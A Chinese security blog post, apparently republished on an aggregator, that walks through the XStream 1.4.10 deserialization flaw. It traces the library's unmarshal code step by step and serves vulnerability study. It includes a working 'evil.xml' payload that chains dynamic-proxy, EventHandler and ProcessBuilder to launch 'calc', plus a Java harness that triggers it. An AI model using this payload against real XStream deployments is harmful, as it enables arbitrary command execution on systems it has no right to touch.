【Web】浅聊XStream反序列化本源之恶意动态代理注入

2024-03-14 02:04

本文主要是介绍【Web】浅聊XStream反序列化本源之恶意动态代理注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

简介

原理

复现

具体分析之前

我们反序列化了个什么?

XStream反序列化的朴素通识

具体分析

第一步:unmarshal解组

第二步:readClassType获取动态代理类的Class对象

第三步:调用convertAnother对动态代理类进行实例化

第四步:调用动态代理类方法触发invoke


前文:【Java】萌新的XStream反序列化常用api学习笔记-CSDN博客

简介

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然

原理

XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器。

该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法。

利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

复现

导入pom依赖

 <dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.10</version></dependency></dependencies>

exp

package com.XStream;import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;public class Interface {public static void main(String[] args) throws FileNotFoundException {FileInputStream fis = new FileInputStream("evil.xml");XStream xStream = new XStream();Runnable r = (Runnable) xStream.fromXML(fis);r.run();}
}

evil.xml

<dynamic-proxy><interface>java.lang.Runnable</interface><handler class='java.beans.EventHandler'><target class='java.lang.ProcessBuilder'><command><string>calc</string></command></target><action>start</action></handler>
</dynamic-proxy>

具体分析之前

我们反序列化了个什么?

okok,wait wait wait!我们先不聊XStream反序列化的流程,不妨从结果入手,先了解我们最后反序列化得到了什么?

关注回evil.xml

<dynamic-proxy><interface>java.lang.Runnable</interface><handler class='java.beans.EventHandler'><target class='java.lang.ProcessBuilder'><command><string>calc</string></command></target><action>start</action></handler>
</dynamic-proxy>

做一个简单解读:

这段 XML 配置信息表示了一个动态代理对象,该代理对象实现了 Runnable 接口,通过 EventHandler 处理程序代理 ProcessBuilder 类的实例,并在调用代理对象的方法时执行 ProcessBuilderstart 方法来启动计算器程序(calc)。这种配置可以用于动态地创建代理对象并执行特定的操作。

总而言之,不难看出这段xml经过反序列化得到的是一个动态代理类,其handler为EventHandler,handler的target为ProcessBuilder,action为start。

【Java】小白必须要懂的关于反射的极简基础知识-CSDN博客

这篇文章的最后有讲到,ProcessBuilder.start会进行命令执行操作,不难猜测,EventHandler可实现任意函数反射调用(调用target对象的action方法),我们的期望就是通过动态代理一个接口交由EventHandler处理最后进行命令执行。

而动态代理类所执行的所有方法都会交由invoke来处理,所以我们只要找到靶机上存在方法调用的接口,就可以实现“动态代理注入”,也正是因此,exp里需要手动调用反序列化对象的interface里面声明的方法。(但必须要知道目标会调用哪个接口其实也是一种缺陷,我们在下一篇文章会予以解决)

XStream反序列化的朴素通识

①XStream反序列化简化来说就三步
MarshallingStrategy.unmarshal解组->调用HierarchicalStreams.readClassType获取待反序列化类的Class对象->调用convertAnother对该类进行实例化

②XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

我们这里利用的DynamicProxyConverter就是转换器的一种

具体分析

第一步:unmarshal解组

先是从fromXML开始跟进一堆unmarshal来到context.start

 

 

第二步:readClassType获取动态代理类的Class对象

跟进context.start,发现先是调用HierarchicalStreams.readClassType获取type(即待反序列化类的信息)

 跟进readClassType,发现取到classAttribute(类属性)为dynamic-proxy,且mapper为CachingMapper,调用CachingMapper#realClass

跟进CachingMapper#realClass 

这里要注意,elementName始终为dynamic-proxy,而mapper.realClass的逻辑是自子类向上到父类查找的,最终会走到DynamicProxyMapper#realClass(见下面一串图)

 

 

 

 

 

最后来到 DynamicProxyMapper#realClass,跟进

注意到elementName和this.alias是相等的,所以最后type取到的返回值就是DynamicProxy.class

 

可以看到取到type为Class@1256

第三步:调用convertAnother对动态代理类进行实例化

紧接着上面,我们将取到的type(Class@1256)传进convertAnother来进行实例化

 

这里简单跟一跟就行

converterLookup.lookupConverterForType()的逻辑是,迭代this.converter,直到找到能转换出DynamicProxy.class的converter,最终取到关键converter——DynamicProxyConverter,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象

 接着调用DynamicProxyConverter#unmarshal

这里直接放源码吧

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {List interfaces = new ArrayList();InvocationHandler handler = null;Class handlerType;for(handlerType = null; reader.hasMoreChildren(); reader.moveUp()) {reader.moveDown();String elementName = reader.getNodeName();if (elementName.equals("interface")) {interfaces.add(this.mapper.realClass(reader.getValue()));} else if (elementName.equals("handler")) {String attributeName = this.mapper.aliasForSystemAttribute("class");if (attributeName != null) {handlerType = this.mapper.realClass(reader.getAttribute(attributeName));break;}}}if (handlerType == null) {throw new ConversionException("No InvocationHandler specified for dynamic proxy");} else {Class[] interfacesAsArray = new Class[interfaces.size()];interfaces.toArray(interfacesAsArray);Object proxy = null;if (HANDLER != null) {proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, DUMMY);}handler = (InvocationHandler)context.convertAnother(proxy, handlerType);reader.moveUp();if (HANDLER != null) {Fields.write(HANDLER, proxy, handler);} else {proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, handler);}return proxy;}}

进行一波解读:

  1. 在方法内部,首先创建了一个空的接口列表 interfaces 和一个空的 InvocationHandler 变量 handler

  2. 接着进入一个循环,通过遍历 XML 的结构来读取数据。在循环中,首先判断是否还有子元素,然后移动到子元素,获取节点名称并根据节点名称进行不同的处理。

  3. 如果节点名称是 "interface",则将其对应的接口添加到接口列表中。

  4. 如果节点名称是 "handler",则尝试获取属性名为 "class" 的属性值作为处理程序的类型,并将其赋给 handlerType 变量,然后跳出循环。

  5. 将接口列表转换为数组,并使用 Proxy.newProxyInstance 方法创建代理对象 proxy,同时获取并实例化相应的 InvocationHandler

  6. 进行最终的代理对象的赋值,并返回代理对象。

总之就是对interface属性走了一遍第二步(获取Class对象),对handler属性走了一遍第二步和第三步(获取Class对象&实例化),最后实例化了一个动态代理类(关于handler中其他属性的还原道理是一样的,不再赘述)

得到的动态代理类如下:

第四步:调用动态代理类方法触发invoke

得到实例化类r之后,我们调用其接口(java.lang.Runnable)的已知方法run

如图

 成功触发EventHandler#invoke

跟进invokeInternal

 Method targetMethod = Statement.getMethod(target.getClass(), action, argTypes);

取到targetMethod为handler的action属性,即start

target为ProcessBuilder,最终实现了对ProcessBuilder#start的调用,执行任意命令 

这篇关于【Web】浅聊XStream反序列化本源之恶意动态代理注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/806900

相关文章

Java调用C#动态库的三种方法详解

《Java调用C#动态库的三种方法详解》在这个多语言编程的时代,Java和C#就像两位才华横溢的舞者,各自在不同的舞台上展现着独特的魅力,然而,当它们携手合作时,又会碰撞出怎样绚丽的火花呢?今天,我们... 目录方法1:C++/CLI搭建桥梁——Java ↔ C# 的“翻译官”步骤1:创建C#类库(.NET

Java中JSON格式反序列化为Map且保证存取顺序一致的问题

《Java中JSON格式反序列化为Map且保证存取顺序一致的问题》:本文主要介绍Java中JSON格式反序列化为Map且保证存取顺序一致的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未... 目录背景问题解决方法总结背景做项目涉及两个微服务之间传数据时,需要提供方将Map类型的数据序列化为co

RedisTemplate默认序列化方式显示中文乱码的解决

《RedisTemplate默认序列化方式显示中文乱码的解决》本文主要介绍了SpringDataRedis默认使用JdkSerializationRedisSerializer导致数据乱码,文中通过示... 目录1. 问题原因2. 解决方案3. 配置类示例4. 配置说明5. 使用示例6. 验证存储结果7.

MyBatis编写嵌套子查询的动态SQL实践详解

《MyBatis编写嵌套子查询的动态SQL实践详解》在Java生态中,MyBatis作为一款优秀的ORM框架,广泛应用于数据库操作,本文将深入探讨如何在MyBatis中编写嵌套子查询的动态SQL,并结... 目录一、Myhttp://www.chinasem.cnBATis动态SQL的核心优势1. 灵活性与可

Mybatis嵌套子查询动态SQL编写实践

《Mybatis嵌套子查询动态SQL编写实践》:本文主要介绍Mybatis嵌套子查询动态SQL编写方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言一、实体类1、主类2、子类二、Mapper三、XML四、详解总结前言MyBATis的xml文件编写动态SQL

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

SpringBoot项目Web拦截器使用的多种方式

《SpringBoot项目Web拦截器使用的多种方式》在SpringBoot应用中,Web拦截器(Interceptor)是一种用于在请求处理的不同阶段执行自定义逻辑的机制,下面给大家介绍Sprin... 目录一、实现 HandlerInterceptor 接口1、创建HandlerInterceptor实

SpringBoot实现Kafka动态反序列化的完整代码

《SpringBoot实现Kafka动态反序列化的完整代码》在分布式系统中,Kafka作为高吞吐量的消息队列,常常需要处理来自不同主题(Topic)的异构数据,不同的业务场景可能要求对同一消费者组内的... 目录引言一、问题背景1.1 动态反序列化的需求1.2 常见问题二、动态反序列化的核心方案2.1 ht

golang实现动态路由的项目实践

《golang实现动态路由的项目实践》本文主要介绍了golang实现动态路由项目实践,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习... 目录一、动态路由1.结构体(数据库的定义)2.预加载preload3.添加关联的方法一、动态路由1

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.